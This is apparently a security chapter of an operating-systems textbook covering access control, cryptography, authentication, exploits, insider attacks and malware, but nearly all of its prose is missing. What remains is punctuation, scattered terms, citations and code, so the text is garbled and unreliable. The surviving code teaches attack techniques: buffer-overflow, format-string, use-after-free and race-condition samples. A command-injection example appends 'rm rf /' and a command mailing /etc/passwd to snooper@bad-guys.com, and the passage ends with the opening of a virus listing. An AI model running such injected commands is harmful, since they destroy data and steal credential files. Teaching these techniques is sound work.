. , ., . ( TCP.)
9.
, .
: (, ),
(,
), (, ) (, ). .
.
, . .
, .
, ,
. .
, -
( ).
.
. 1990-
, ,
-.
.
.
, ,
,
, .
, ,
, .
, .
,
, , ,
,
. ,
.
,
-
660
9.
. ,
, , . ,
- , , .
, , . ,
, ,
, , . ,
(, ).
. , , . Wi-Fi, ,
. Wi-Fi, . 2000
.
, ,
. ,
. , D A, E B . .
, :
.
, , ,
.
, ,
, . , , (, ,
, - 2048- ).
,
. ,
.
, (vulnerability).
,
, . ,
,
(exploit).
.
, ,
!
, ,
, .
. , - . ,
,
. . .
, , . , ,
( )
9.1. ,
661
. .
,
,
. , ,
, .
, . , .
( 9.1),
( 9.2), ( 9.3)
( 9.4).
( 9.5)
( 9.6).
. ,
. ,
,
, . ,
.
.
, ,
,
, . ,
, . ,
, , ,
, .
9.1. ,
.
.
, , , , ,
, ,
, .
(security),
, , ,
(protection mechanisms).
.
.
, .
662
9.
9.1.1.
, ,
: , .
CIA (Confidentiality, Integrity, Availability).
. 9.1 ,
, CIA (,
).
9.1.
(confidentiality)
. , ,
,
, .
, , , .
(integrity) , , , -
.
,
. ,
, ,
.
(availability) ,
. ,
(denial of service, (DOS)), . , -,
,
. - , , 100 , ,
10 000 , .
, , ,
, , .
, , ,
(authenticity), (accountability), (nonrepudiability),
(privacy) . , .
-
() .
9.1. ,
663
, . ,
, .
, . ,
, ,
.
,
. .
.
(black-hat hackers),
(white hats).
(Trojan horses),
.
,
.
, . ,
, ,
. .
, , , , (crackers), .
. ,
. , ( ) , . ,
, nmap,
(portscan) , .
, nmap,
TCP- .
, . ,
, , ( ),
, . , nmap
, , , (dual use). ,
dsniff,
.
Low Orbit Ion Cannon (LOIC) - ,
, , . Metasploit, ,
, . ,
. ,
, , , .
664
9.
( ):
, , , - .
,
, - (botnets), ( ) ,
. , .
, ,
. , ()
.
, .
.
, (bot)
(zombie). .
, .
,
, , LOIC .
. Maroochy Shire
, , . , Maroochy Shire , .
, ( ),
.
, -
, , ,
. ,
, .
. , Stuxnet, (Natanz), , ,
.
,
.
, , (privacy): ,
. ,
. ,
, , ?
9.2.
665
-
? ,
?
? , ?
, .
9.1.2.
,
? , , , (,
). , , , , (attackers), (intruders), (adversaries).
, .
: , , , , , ,
, , ,
.
, - (script-kiddie),
. ,
, (, , )
, , ,
.
,
. ,
, , ,
.
9.2.
.
. , PIN- 0000 password
, .
, . ,
, ,
. (
, ) ,
. , USB-
, ,
, , . .
666
9.
, , . , . , -, SQL.
, ,
( )
.
, , ,
, . , ( ) .
- , , ,
. ,
,
, (hardening) ,
, . :
, ,
. . :
,
, ,
, , . .
9.2.1. ?
,
,
. :
1. ?
2. , ?
: . ,
, ,
. , ,
. , ,
. -,
, . , , Microsoft , Windows
, SecureOS, ,
Windows,
Windows . Microsoft
(Fandrich et al., 2006), . . . .
9.2.
667
( ), , . ,
. ,
, .
. ASCII-. ,
. ,
ASCII- (
).
, Word,
.
.
, ASCII-.
? , , -
,
.
-.
HTML-, . , - (
JavaScript), ,
, .
, .
, ,
, ? - ,
. , -,
, .
, ,
, , .
,
.
,
, .
9.2.2.
(trusted systems), . ,
. TCB
(Trusted Computing Base ), ,
. ,
.
668
9.
TCB ( , ),
, (, SETUID
UNIX). ,
TCB, : ,
, ,
- . TCB
.
(. 9.1). , ,
, ,
. , , .
, .
. 9.1.
. . 1.22 MINIX 3, POSIX- , , Linux FreeBSD. MINIX 3
10 000 .
. , , ,
. ,
, , ( ), .
, MINIX 3,
, .
9.3.
669
9.3.
, ,
. ,
.
.
9.3.1.
,
. (, , , ) (, , , ).
, ,
,
. read write, up down.
, , . ,
. , A F, .
, .
(domain) (, ).
,
. (rights)
. , , ,
, ,
. , , ,
.
,
. (Principle of Least Authority (POLA)),
. , , .
. 9.2 ,
(Read, Write, eXecute) . , Printer1
. File1 ,
.
- .
, ,
, . .
.
670
9.
. 9.2.
, UNIX
( Linux, FreeBSD ). UNIX
UID GID.
, UID GID,
, .
(UID, GID), (,
-,
. .),
(, , ). (UID, GID)
. (UID, GID)
, , , .
, UNIX : ( ). , .
. ,
,
. , .
exec ,
SETUID SETGID, UID GID. (UID, GID)
. SETUID
SETGID , . ,
.
, , .
, , . . 9.2 . 9.3.
, ,
.
, , enter. . 9.4
. 9.3, . 1 2, .
UNIX
SETUID. .
9.3.
671
. 9.3.
. 9.4.
9.3.2.
, . 9.4, -
.
, ,
.
: ,
. , .
, .
, , , .
, . 9.5, ACL (Access Control List
). , A, B C,
: F1, F2 F3. , ,
, A,
B C.
(subjects) (principals), , ,
, (objects), , , .
ACL. ACL- F1 ( ). , ,
672
9.
. 9.5.
A,
. , ,
B, . .
, , .
, A, F1. ,
, . , ,
.
ACL- F2 : A, B C ,
B . . , F3 ,
A B , . B
.
ACL-.
. , : , .
. , , .
(destroy
object) (copy object),
. , ,
(append message)
(sort alphabetically) .
ACL- . (group) .
, ACL-.
.
UID GID. ACL-
UID1, GID1: 1; UID2, GID2: 2; ...
9.3.
673
, , UID GID , .
ACL-, , .
(UID, GID) , .
, (role). ,
sysadm. ,
.
pigfan
. ACL- , . 9.2.
9.2.
Password
tana, sysadm: RW
Pigeon data
,
, . ,
, /
, .
, , .
, .
, .
(wildcard),
, . ,
tana, *:RW
,
.
, ,
, .
, , ,
, . .
, ,
.
. ,
virgil, *: (none); *, *:RW
, (Virgil). ,
,
. Virgil -
674
9.
none ( - ),
. , , .
, ACL- (UID, GID), UID, GID. ,
pigeon_data :
debbie: RW; phil: RW; pigfan: RW
, , pigfan
.
, -
, .
. ACL-
. ACL-
, , ,
open. , , .
9.3.3.
, . 9.5, . ,
, ,
, , .
(capability list, C-list),
(capabilities) (Dennis and Van Horn, 1966; Fabry, 1974).
. 9.6.
. 9.6.
. , . 9.6 , A, F1 F2.
9.3.
675
(, , )
. UNIX
i-.
, ,
, , .
,
. .
(tagged architecture), ,
() , ,
.
, ,
, ,
( ). (Feustal, 1972).
IBM AS/400.
. . , , 1 ,
2.
UNIX. Hydra (Wulf et al., 1974).
, ,
.
.
, , , , , . ,
.
UNIX i-.
.
, . 9.7.
. 9.7.
, ( , , i-),
, .
, ,
, .
, , f (y = f(x)), x
y, y x . 9.5. ,
676
9.
,
.
,
. . f(Objects, Rights, Check), ,
. ,
, . , ,
, .
, .
. , f(Objects, New_rights, Check)
, . , Check,
, .
. , , ,
. - ,
,
, f .
, ,
.
Amoeba (Tanenbaum et al., 1990).
, ,
, ( ,
) , , (generic rights),
. :
;
;
- ;
.
, , , , ,
.
- , , , .
,
9.4.
677
, . ,
, , .
(,
, ,
.)
Amoeba .
, . .
, , ,
, .
, .
, . , Hydra,
, , Amoeba.
, ACL-
.
, ,
3, . ,
ACL-. , ACL-,
. ACL-,
, . ,
, , .
ACL- .
ACL- ,
Windows UNIX. . ,
L4, (
Android), . FreeBSD
Capsicum, UNIX.
9.4.
, . 9.3, .
,
,
.
. . (Harrison et al., 1976)
() ,
. ,
, , , .
, 1 File6.
678
9.
(protection
commands). . .
, ,
, , ,
.
,
, read ()
, .
,
, . ,
.
, , . 9.8, . . 9.8, ,
: mailbox7 ,
secret, compiler.
, ,
, . 9.8, .
mailbox7, .
, ,
, . 9.8, , .
. 9.8. : ;
,
: .
, , : ,
?
, ,
( ) .
, ,
, .
9.4.
679
, .
. Harrison et al. (1976)
, .
, - . Landwehr (1981).
9.4.1.
,
.
(discretional access control)1.
, , .
, . , , ,
, ,
(, , ,
). ,
, (mandatory access control)2, ,
.
, .
(Bell LaPadula model),
(Bell and LaPadula, 1973). , .
() , : , , .
, ,
. , .
, , .
, (multilevel security system).
.
1
( ):
, , . . .
( ):
. , , .
. .
680
9.
. 9.9.
,
, . ,
, . , ,
9.4.
681
. , B 1,
3.
, , , . *, , , .
, ,
k, . ,
, , ,
.
,
. ,
, UID GID. ,
. , k,
, k,
.
,
, k.
,
, ,
, .
. , 1, 3, 5. ,
,
, . ,
.
, , .
(Biba, 1977):
1. (The simple integrity property) , k,
( ).
2. * (The integrity * principle) , k,
( ).
,
, , , . ,
, ,
, .
682
9.
9.4.2.
, ?
, . ,
, ,
. ,
, .
(Lampson, 1973).
, ,
, , .
.
, , , , .
. ,
. ,
, , ,
. ,
.
,
, .
. . 9.10.
,
- , .
(confinement problem).
. 9.10. , ;
, , , . ,
, , . ,
,
.
9.4.
683
, .
, .
,
.
.
, 0, , 1. ,
. 9.10, , (covert channel).
, ,
, (,
- ).
,
. ,
, , .
. (
1, 0). ,
. ,
. , , .
. 9.11,
, , .
11010100.
. 9.11. ,
S , ,
.
.
684
9.
, F1 F2,
.
S, F1, , . ,
F2, ,
, F1, , S .
,
,
.
, ,
, , S0 S7?
( , . .).
. UNIX
, , , ,
, access.
,
. , .
, ,
. ,
,
. $100,
$53 000, ,
$100,53.
, , . .
- , -
.
, . , ,
, , ,
, . ,
?
, , ,
.
. 9.12, . ,
, . . 9.13, , -,
, -
9.4.
685
. : ,
, , .
700 .
. 9.12. ; ,
?
1024 768 . 8- ,
, .
. RGB.
,
, , .
1024 768 3 , 294 912
.
734 891 .
274 .
. ,
.
.
7- 8-.
, ,
734 891 .
(steganography, ). , ,
.
- .
, , , ,
. 9.12, .
www.cs.vu.nl/~ast/. covered writing
STEGANOGRAPHY DEMO, , , -
686
9.
, .
, , .
, -, ,
-. - Copyright 2014, General Images Corporation,
, .
, . .
, . ,
, 1
, , JPEG, 1. ,
(, GIF, BMP, TIF).
JPEG- , ,
, . ,
, ( ),
,
.
. .
,
:
, , .
,
, .
, .
9.5.
.
,
.
, - .
.
, . ,
, , IPSec, /
, ,
. , 9.6 .
, .
.
. , , Kaufman et al. (2002), Gollman (2011).
, .
9.5.
687
, (plaintext) , (ciphertext),
, , , .
.
, (),
, .
,
, . (security by obscurity) .
, ,
.
, . P , KE ,
C E ( ), C = E(P,
KE). . ,
E ,
P , KE.
,
, (Kerckhoffs Principle).
XIX .
.
, P = D(C, KD), D ,
KD . , P
C KD,
D, C KD . . 9.13.
. 9.13.
9.5.1.
, ,
, A Q,
B W, C E . ., :
:
ABCDEFGHIJKLMNOPQRSTUVWXYZ
: QWERTYUIOPASDFGHJKLZXCVBNM
688
9.
(monoalphabetic
substitution), 26 , . QWERTYUIOPASDFGHJKLZXCVBNM. ATTACK
QZZQEA. , .
KXVMCNOPHQRSZYIJADLEGWBUFT, A K , B X . .
, , ,
( ),
, 26! 4 1026 . ,
,
.
. ,
e, t, o, a, n, i . .
, , th, in, er, re . . .
,
.
(secret-key cryptography),
(symmetric-key cryptography).
,
.
256 ,
, 2256 1,2 1077.
, .
9.5.2.
, ,
:
. , ,
. ,
(public-key cryptography) (Diffie and Hellman, 1976). ,
.
, .
, :
1. 314159265358979 314159265358979?
2. 3912571506419387090594828508241?
,
,
9.5.
689
- . , ,
50 %- ,
, .
, .
.
, .
RSA ,
, ,
,
(Rivest et al., 1978). . ,
(El Gamal, 1985).
, , .
,
( , ), .
, .
, ,
.
.
, .
9.5.3.
, , f, , f
x y = f(x),
x, f(x). , ,
. y x. , ,
x, y
, . , .
- (cryptographic
hash function).
9.5.4.
. ,
, ,
.
. , -
. , ,
, .
, ?
690
9.
, .
,
. - , . -
SHA-1 (Secure Hash Algorithm), 20- (NIST, 1995). SHA-1 SHA-256 SHA-512 32- 64-
, .
. , D(hash). , (signature block),
(. 9.14).
D , ,
. .
. 9.14. ; ,
, SHA-1
-.
, E(D(hash)). .
, , ,
( ). , ,
. ,
, x
E(D(x)) = x.
, , ,
D(E(x)) = x,
E , D .
, ,
9.5.
691
D E . , RSA
.
,
.
-. , ,
- .
- .
(certificate),
. ,
,
, .
, ,
(Certification Authority (CA)).
, CA, . ?
, , (Public
Key Infrastructure (PKI)). - :
40 .
, , ,
.
9.5.5.
. ,
.
. ?
(Trusted Platform Module (TPM)),
,
. TPM ,
. .
.
TPM, , ,
.
TPM ,
, TPM . Microsoft, , Palladium, NGSCB BitLocker.
,
692
9.
, , .
.
( ) , . TPM
, ,
, TPM.
(, Microsoft).
, TPM ,
, .
TPM,
.
-,
.
TPM
(remote attestation),
TPM ,
-, . , TPM ,
. , ,
, BIOS. ()
, , - , .
,
, . ,
,
.
, . - BIOS,
TPM , . TPM
, (Platform
Configuration Register (PCR)). PCR ,
, . PCR,
TPM PCR PCR. ,
, ( )
PCR,
. PCR
-, . ,
PCR.
, ,
, ( ) , .
, , 160 . ,
9.6.
693
(nonce),
.
,
.
.
( ), TPM
( )
PCR. , , PCR
, . .
, . ,
.
PCR, . ,
,
. , , ,
, ,
,
.
TPM , . , TPM
. -
, ,
TPM.
9.6.
(secured) .
, , ,
.
, ,
.
, 1
. ,
ENIAC, , . , ,
.
- (, PDP-1 PDP-8)
, UNIX - PDP-11 .
(, Apple II IBM PC) , -
694
9.
, Linux Windows 8 (
). , () -,
, .
.
, .
, :
-, ;
-, ;
-, .
.
.
.
, .
.
( , ). ,
. ,
, , .
,
, . Windows . UNIX
. . , Windows,
, .
.
, , . 9.15. , , , . 9.15, .
. 9.15, , . 9.15,
B.
. 9.15. : ; ;
. 9.15, , . ,
, .
. 9.15, , ,
9.6.
695
. ,
.
,
. , , , .
BIOS,
Del, F8, - , BIOS ( )
. , USB .
- USB, ,
.
( UNIX) D: ( Windows).
, BIOS BIOS,
.
,
BIOS, .
9.6.1.
, (, ) (
, ) , .
. , Ellen Ann Smith ellen,
smith, ellen smith, ellen-smith, ellen.smith, esmith, easmith eas.
4096 , ,
,
(ellen_smith , , , ).
, .
. ? , . UNIX
(Morris and Thompson, 1979). :
, , , ( ), . .
. 86 %
.
- ,
, : . 2012
6,4 LinkedIn,
. password. 123456 ( 1234,
696
9.
12345 12345678). .
()
.
IOActive 2013 . ,
.
,
, . , ,
, .
. ,
, Stuxnet- , Siemens, , , .
.
.
, - ,
- (Florencio and Herley, 2007; Gaw and Felten,
2006).
, ? , .
1998 San Jose Mercury News ,
(war dialers), 10 000
(, (415) 7700xxxx), ,
,
. 2,6 ,
20 000 , 200
. , 75 %
(Denning, 1999). , 2,6 .
.
. Citibank , ( 5 ),
( ). 4000
(Denning, 1999). ,
, , ,
, .
.
. - .
. , - ( ) IP-.
- , TCP-
, . , , ,
9.6.
697
,
nmap,
. , ,
. , , ,
, telnet- -. ,
, ,
,
.
9.6.2. UNIX
,
.
, .
, , , , , , .
UNIX . .
.
.
, .
, ASCII-,
, ,
. , , , ,
, . , ,
, ,
- . ,
. , UNIX .
, . ,
. . , ,
. ,
, .
. .
. , , ,
. .
, ,
. ,
698
9.
n- , (salt).
. , .
, , .
. . 9.16 : Bobbie, Tony, Laura, Mark Deborah.
, , :
, + . e(Dog, 4238)
Dog, Bobbie, 4238 e.
, ,
Bobbie.
. 9.16.
, , ,
f, . , Dog, Dog f.
2n , Dog0000, Dog0001, Dog0002 . .,
f. f 2n .
UNIX n = 12.
UNIX , , , ,
, root-. ,
( ) , ,
.
9.6.3.
. . , (one-time passwords).
.
. , ,
. ,
.
9.6.
699
- (Lamport, 1981) ,
, .
,
, , . ,
,
.
(one-way hash chain).
, y = f(x), , x y. y
x .
, 256 .
, . n, ,
. , n = 4,
n. s,
n :
P1 = f(f(f(f(s))))
(n 1) :
P2 = f(f(f(s)))
f , . Pi 1 = f(Pi). ,
, . ,
P2, P1, P3.
P0, f(P1).
, , 1, ,
P1. ,
, 1, . P1,
s, . f(P1) ,
(P0). , ,
2, P0 P1.
2, P2. f(P2)
. , , 3, P2
P1. , , ,
Pi,
Pi + 1, Pi 1,
. n
, .
700
9.
9.6.4.
, ,
(, ). , . ,
:
1. ?
2. ?
3. ?
. , .
(chalelenge response).
, x2.
, , 7,
49.
, . .
,
, , , ,
. k, .
( ) .
r,
f(r, k) ( f ), . ,
.
,
, ,
. , f
, k. -,
(XOR) r
k. .
9.6.5.
-
, - . .
,
, . , , ,
. (Automated Teller Machine (ATM)
9.6.
701
)
(ATM-) (
-, 4 , ).
, , : ().
140 , , .
.
(, -),
. , , . 10 50
. -
,
.
- (). : -.
(stored value cards) ( 1 ),
,
, , .
,
( ).
, , , , .
, . (,
).
, 1 ,
, .
- (smart cards), - 8-
4 , 16 , 4 EEPROM,
512 9600 /
.
, ,
( ), (
) ( 1 20
,
).
-, ,
, .
, , .
( YES),
702
9.
.
- .
-, , , .
, .
, .
, , , ,
, .
, (
). -
, ,
, .
.
- (,
),
. , . : - ,
, ( )
, . , , - -, -
, .
- -
,
,
( ), .
- . . 512-
-, 512- , .
, 512 ,
, . . 9.17.
, - .
,
512- . ,
(, , ) .
,
, - .
, , Java.
Java .
, , :
.
,
9.6.
703
. 9.17. -
- ,
. - ,
-
(side-channel attack), , . , ,
, .
, ,
.
9.6.6.
, .
(biometrics) (Boulgouris et al., 2010; Campisi, 2013). ,
.
: .
. ,
.
(, )
-,
(, ).
. .
. , ,
. ,
, ,
. ,
,
704
9.
, ,
- .
, . ,
, .
,
. - , - - ,
. , ,
,
, , .
, ,
. - ,
, ,
-, ,
,
.
,
. ,
. , , , . 9.18.
,
, .
. 9.18.
. , ,
, , .
9.6.
705
, , (iris recognition).
( ) ,
(Daugman, 2004).
( 1 ),
, -
(Gabor wavelet tronsformation) 256 .
, ,
,
. (
,
.)
, ,
. , (,
), .
1 , -
, . - , , , ,
,
, , .
2001 ,
.
. , , ,
-. ,
. ,
,
.
(Kaman et al., 2013). ( ), . ,
, ,
.
, ,
. , .
, , ,
-. ,
, (Tresadern et al., 2013).
,
. . ,
706
9.
. ,
- , - ,
, , .
,
: , . , , .
,
, . ,
. , (Rodriguez-Lujan
et al., 2013). , ?
.
,
. , , (Fuksis et al., 2011).
,
.
, -
, , - - .
Apple iPhone 5S.
9.7.
,
- , . ,
,
, drive-by-download. ,
, -. -, . - ,
- (,
). ,
- (, ).
-
Miami Dolphins, Dolphins ,
. -
, ,
, . drive-bydownload , - ( ),
.
, .
9.7.
707
- . -
,
, . drive-by-downloads ,
, .
. ,
. , , . : ,
, , , . -
! , , ,
. ,
!. .
. , , ,
. ,
, ,
.
, . ,
. , .
. ,
.
,
, , .
, ,
. .
,
.
,
. , - 1988 ,
. , ,
(Van der Veen, 2012).
, : , (stack canaries), (data execution
protection) (address-space
layout randomization).
, (format string
attacks), (integer overflows)
(dangling pointer exploits). ,
!
708
9.
9.7.1. ,
,
C ++ (
, ,
). , C ++
. , gets,
( ) ,
, ( gets ). :
01. void A() {
02. char B[128];
/* 128 */
03. printf ("Type log message:");
04. gets (B);
/* */
05. writeLog (B);
/* */
06. }
A
. ,
B gets C. ,
writeLog, , ,
(,
, ). , A ,
,
(SETUID root). ,
, root.
,
. , gets , .
, B 128 . , 256 . 128 ? gets
,
, 256 . ,
, . .
. 9.19, ,
. - , . 9.19, , A.
( ,
). A,
128, ( B).
, , 128 ? . 9.19, . , gets
, , ,
, , , , .
9.7.
709
. 9.19. : ;
; ,
, ,
, , ,
. ,
.
A,
, .
.
, ,
, , ,
. ,
, ,
B. A
B
. ,
. ,
. ,
, .
(, exec),
.
, - (shellcode), .
, gets ( ), ,
. , , , ,
710
9.
, . ,
: strcpy, memcpy, strcat .
, , . , ?
, , -.
nop- (nop sled)
NO OPERATION ( ), .
nop-, -. Nop- ,
, ,
nop- -. ,
JavaScript
nop- -. ,
, nop- .
(heap spraying).
()
, , , (stack
canaries). .
. ,
. ,
. , ,
.
, . , ,
.
, , . . , ,
.
. , , - , .
,
.
, ,
. , ,
. : strcpy
C, ,
strlen, .
len :
9.7.
711
/*
*/
len = str len (date);
/*
*/
gets (B);
/* */
strcpy (logMsg+len, B);
/*
*/
writeLog (logMsg); /* ,
*/
}
, A
,
( A).
( 6).
, . . , 5 ,
7. . ( 7).
( 8) ,
. ,
( 9). , , ,
.
, .
? , B
.
len, . 9 len , , B.
,
len,
.
, .
, .
, ,
. , C C++ f
,
:
void (*f)(char*);
, , ,
. A , f = A
f A. , , . ,
712
9.
. ,
, , . , .
, .
, ,
.
, : ! ,
, ,
. ? , , .
,
. . (code
injection attacks) , , ,
.
,
NX- (NX bit), No-eXecute, .
, (,
) ( ).
. OpenBSD
WX ( WExclusive-OR X W XOR X). ,
, , . Mac OS X, Linux Windows .
DEP (Data Execution Prevention), . NX-.
DEP , .
DEP . -. ,
.
DEP .
( ) .
, , - . : ,
?. ,
.
(return to libc), ,
-
(return-oriented programming).
9.7.
713
, (. . 9.19) , , ,
. : -
? , . C
libc ( ),
, C-.
system,
. , system,
. , - , ,
system.
(return to libc) . System , .
, mprotect,
. , libc
. , Linux (Procedure Linkage Table (PLT)). PLT
, , ,
, ,
.
.
- (Return-Oriented
Programming (ROP))
. .
, , . ,
. ,
. : ? ,
.
, , , . .
, -
, , -, -
, -, . ,
. (gadgets). ,
,
. ,
,
.
.
. 9.20, a ,
. , -
714
9.
. ,
. A X, B Y
. . .
, ,
, , , .
, . 9.20, , A
. ,
, .
, , 1 . 2,
1 4,
2. -,
.
,
.
&
& B
& A
&
( Z)
& B
( Y)
& A
( X)
:
A:
1
,
4
3
2
1
3
2
1
B:
2
C:
1 4
1
2
2
4
3
2
1
. 9.20. - :
- , ,
, . , .
ROP-.
9.7.
715
ROP ,
.
.
(ROP)
, ROP nop . , , ,
?
(Address Space Layout Randomization (ASLR))
. . , ASLR
, .
DEP ASLR.
,
(Giuffrida et al., 2012).
. -
.
.
.
ASLR
. ASLR ,
. , ASLR
. ASLR . , .
, 32- ,
. ,
, .
ASLR . ,
, .
:
01. void C() {
02. int index;
03. int prime [16] = { 1,2,3,5,7,11,13,17,19,23,29,31,37,41,43,47 };
04. printf (" ?");
05. index = read user input ();
06. printf (" %d %d\n", index,
prime[index]);
07. }
716
9.
,
C. ,
,
. , .
.
, 15, , 0.
, .
.
, , , ,
, , . , ,
, , . ,
, Snow et al. (2013).
,
: .
, , . . , :
01. void A() {
02. int author ized;
03. char name [128];
04. authorized = check credentials (...); /* ,
0 */
05. printf (" ?\n");
06. gets (name);
07. if (authorized != 0) {
08. printf (" %s, \n", name)
09. /* ... ... */
10. } else
11. printf (", %s, .\n");
12. }
13. }
.
, . , , C, , -
. , 129 .
, , .
, ,
. ,
.
:
, .
9.7.
717
(
), , (Van der Veen, 2012).
- , ,
C,
.
. .
, C C++.
, .
, . ,
(, , ).
9.7.2. ,
,
. ,
. reference_count, ,
rc 13 ?
.
C,
C :
char * s="Hello World";
printf("%s", s);
s, Hello World ,
. printf :
%s, , . (
). .
,
:
char * s="Hello World";
printf(s);
printf ,
, . , (, %s), , ,
. , ,
, , .
- ,
, -
718
9.
. ,
:
char s[100], g[100] = "Hello ";
gets(s);
strcat(g, s);
printf(g);
/*
/*
/*
/*
s g; g */
s */
s g */
g */
s g, g .
. (
gets, , ).
, , , , , , , ,
, , printf.
, %s ( )
%d ( ), ,
. , %n .
,
,
printf. , %n:
int main(int argc, char * argv[])
{
int i=0;
printf("Hello %nworld\n", &i);
printf("i=%d\n", i);
}
/* %n i */
/* i 6 */
:
Hello world
i=6
, i
printf, .
, ,
. printf ? ,
.
.
, , ,
.
, , printf - ,
. , (format string attack).
, , .
9.7.
719
? , , . , , ( printf).
printf , .
.
printf , , , :
"%08x %n"
%08x , printf 8-
. , 1,
0000001. , printf
, 32- ,
, , , ,
, 9: 8 1 . ,
printf ,
, , . . , , .
, ,
, . ,
. ,
g ,
printf (. 9.21). , , ,
AAAA, %0x %0n. ?
%0x, ( B). , printf
,
. ASCII- A 65 ( 0x41
), 0x41414141,
. , (
).
, , .
format string attack,
, .
,
, .
SETUID root,
root. ,
.
720
9.
printf
printf
( )
. 9.21. , .
%08x
9.7.3.
,
(dangling pointer attack).
, . C C++ ,
malloc,
. , ,
free . , , . , :
01. int *A = (int *) malloc (128);
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
/* 128
*/
int year of birth = read user input (); /*
*/
if (input < 1900) {
printf (", 1900 \n");
free (A);
} else {
...
/* A */
...
}
... /* , , malloc free */
A[0] = year of birth;
9.7.
721
. - , ,
12 A , ( 5). A
, .
(. 11).
: ? 12
, A, , .
, , ,
,
, , , . ,
( heap feng shui), .
, .
,
(, 1900).
9.7.4. ,
, 3, . , , .
,
. . ,
, . , Linux , ,
, .
32- 3
, 1 . , .
. ,
. ? , .
, ?
(NULL pointer). , , ,
. Linux
. ,
. ,
, ,
.
722
9.
,
.
. ,
-
.
,
. mmap,
. mmap . 0 -. ,
, -
. .
mmap
. - . , ,
.
. ,
, ,
, ,
.
9.7.5. ,
, 8, 16, 32 64 .
, . C
, . ,
,
. , , . , ,
16- ,
40 000. , 16- , 4096.
, , .
.
( ) , ,
, , . ,
, , , ,
. ,
, ,
, malloc -
9.7.
723
, .
. ,
.
9.7.6. ,
.
, -
, (,
). ,
,
. , C
system("ls >file-list")
,
ls >file-list
,
file-list. ,
, 9.1.
9.1. , ,
int main(int argc, char * argv[])
{
char src[100], dst[100], cmd[205] = "cp "; /* */
printf(", -: "); /*
- */
gets(src);
/* */
strcat(cmd, src);
/* src cp */
strcat(cmd, " ");
/*
cmd */
printf(", : ");
/*
*/
gets(dst);
/*
*/
strcat(cmd, dst);
/* */
system(cmd);
/* cp */
}
- , , cp, system
. , abc xyz
:
cp abc xyz
, , .
, , (command injection). ,
724
9.
abc xyz; rm rf /.
:
cp abc xyz; rm rf /
,
. , . , , ,
.
xyz; mail snooper@bad-guys.com
</etc/passwd,
cp abc xyz; mail snooper@bad-guys.com </etc/passwd
9.7.7 ,
, , .
. . , .
:
int fd;
if (access ("./my document", W OK) != 0) {
exit (1);
fd = open ("./my document", O WRONLY)
write (fd, user input, sizeof (user input));
, SETUID root
. , ,
. , , SETUID-
,
my document .
,
, . ,
,
, .
, , ,
access. (,
, ), 0, ,
1 . ,
UID , UID ( SETUID ).
, .
, . , ,
, , -
9.8.
725
, . ,
.
open
. ,
.
, (Time of Check to Time of Use (TOCTOU)).
-, , access .
,
fstat, . , fstat
write. , API
.
.
9.8.
,
,
, ,
. , ( insiders) ,
( outsiders).
, .
, , ,
.
9.8.1.
. ,
() .
(logic
bomb). ,
. ,
, .
, (
) . .
.
,
(Spafford et al., 1989).
,
,
.
: ( , -
726
9.
,
)
, ( ,
, , ).
, . , ,
. , ,
. - .
(time bombs).
9.8.2.
, ,
(back door)1.
, - . , ,
, zzzzz, ,
.
, . 9.22, .
, . 9.22, .
. 9.22. : ;
strcmp , zzzzz. , ,
. , ,
,
,
. ,
.
. (code reviews). ,
1
. . .
9.8.
727
,
. ,
, . , - ,
, , .
,
.
9.8.3.
,
, , (login spoofing).
, ,
, . ,
, ,
. .
, , UNIX- , , . 9.23, .
, .
,
( , ).
. 9.23. : ;
. -
, ,
. 9.23, . , ,
. 9.23, , , ,
, . , .
,
. ,
- , .
,
, . 9.23, . , , .
.
728
9.
.
.
,
. Windows
CTRL+ALT+DEL. ,
CTRL+-ALT+DEL, .
.
9.9.
(, 2000 ) ( )
, ,
.
, , , (malware) .
, , , ,
. ,
.
.
, .
. , ,
. (backdoor),
, ,
.
(zombie), (botnet), robot network, , .
, , ( ) .
. -
, ,
. , ,
, , , ,
.
, ,
.
. , .
9.9.
729
, , :
GENERAL ENCRYPTION!
, ,
100 : BOX 2154, PANAMA CITY,
PANAMA. . .
(keylogger).
( ) ,
. -, -, - ,
(
), .
, , ,
,
. , ,
.
,
. , ,
,
, , , , ,
, , , ,
. ,
,
, .
, , ,
, -,
(identity theft)1.
, , , , , , . .,
,
, ,
. , , .
, ,
,
-.
, ,
1
. . .
730
9.
( , ).
, , , ,
.
, .
. ,
.
, ,
.
, .
, -
- . ,
, .
,
, , .
( ,
RFID ). .
.
- (BIOS) -,
(
).
- , . - ,
. - , , , .
, , , .
, malware, .
: ? . -, 90 %
, Windows ( ),
. ,
10 % ,
. , .
-, Microsoft ,
Windows . ,
Windows ,
UNIX-,
( , Linux Windows). ,
, Microsoft
9.9.
731
.
, ,
-
. ,
, - . ,
?
, .
.
9.9.1.
.
. , ? -
. , , -
. .
. (Trojan horse attack),
.
, -, .
, , .
, , ,
. ,
. , - IP-
, , .
,
. .
, .
,
. , UNIX
$PATH, .
, :
echo $PATH
ast
:
:/usr/ast/bin:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/ucb:/usr/man\
:/usr/java/bin:/usr/java/lib:/usr/local/man:/usr/openwin/man
732
9.
, , .
prog
, /usr/ast/bin/prog.
, . , /usr/local/bin/
prog, /usr/bin/prog, /bin/prog . ., 10
, . ,
, .
,
.
/bin /usr/bin, /usr/bin/X11/ls ,
. ,
/usr/bin/X11 la. la
ls ( , ),
, ,
, la . , , , , ,
- -
(
),
/bin/ls , ,
.
, ,
. ls, ,
, - ,
: , 100 , .
, ,
cd /home/mal
ls l
, $PATH, ,
,
, , .
/home/mal/bin/sh SETUID root.
: chown /home/mal/bin/sh root chmod
SETUID. , , .
, . , ,
, Quicken. ,
9.9.
733
(
- ), .
, ( ), , - - ,
( ).
9.9.2.
, .
, .
, , , . , , .
? , (virus) ,
, , . , .
, .
,
. .
, . , , , (, ,
C), .
.
, , . , -
. .
, . , , , ,
(payload).
, ,
. (,
-
, ).
,
. , ,
, , , ,
. , .
-
- (companion virus) , , - .
734
9.
, MS-DOS,
- . . MS-DOS
prog
MS-DOS prog.com.
, prog.exe. Windows, (Start), (Run)
Windows, , , R, , .
.exe, .com .
, , prog.exe
MS-DOS Windows,
(Run). prog.com,
, - prog (
prog.exe). prog.com , prog.exe .
- , Windows,
( ).
, .
, . ,
.
,
, .
. (overwriting viruses).
, , 9.2.
9.2. ,
UNIX
#include <sys/types.h>
#include <sys/stat.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
struct stat sbuf;
search(char *dir_name)
{
DIR *dirp;
struct dirent *dp;
/* POSIX */
/* lstat, , */
/* */
/* */
/* */
/* */
dirp = opendir(dir_name);
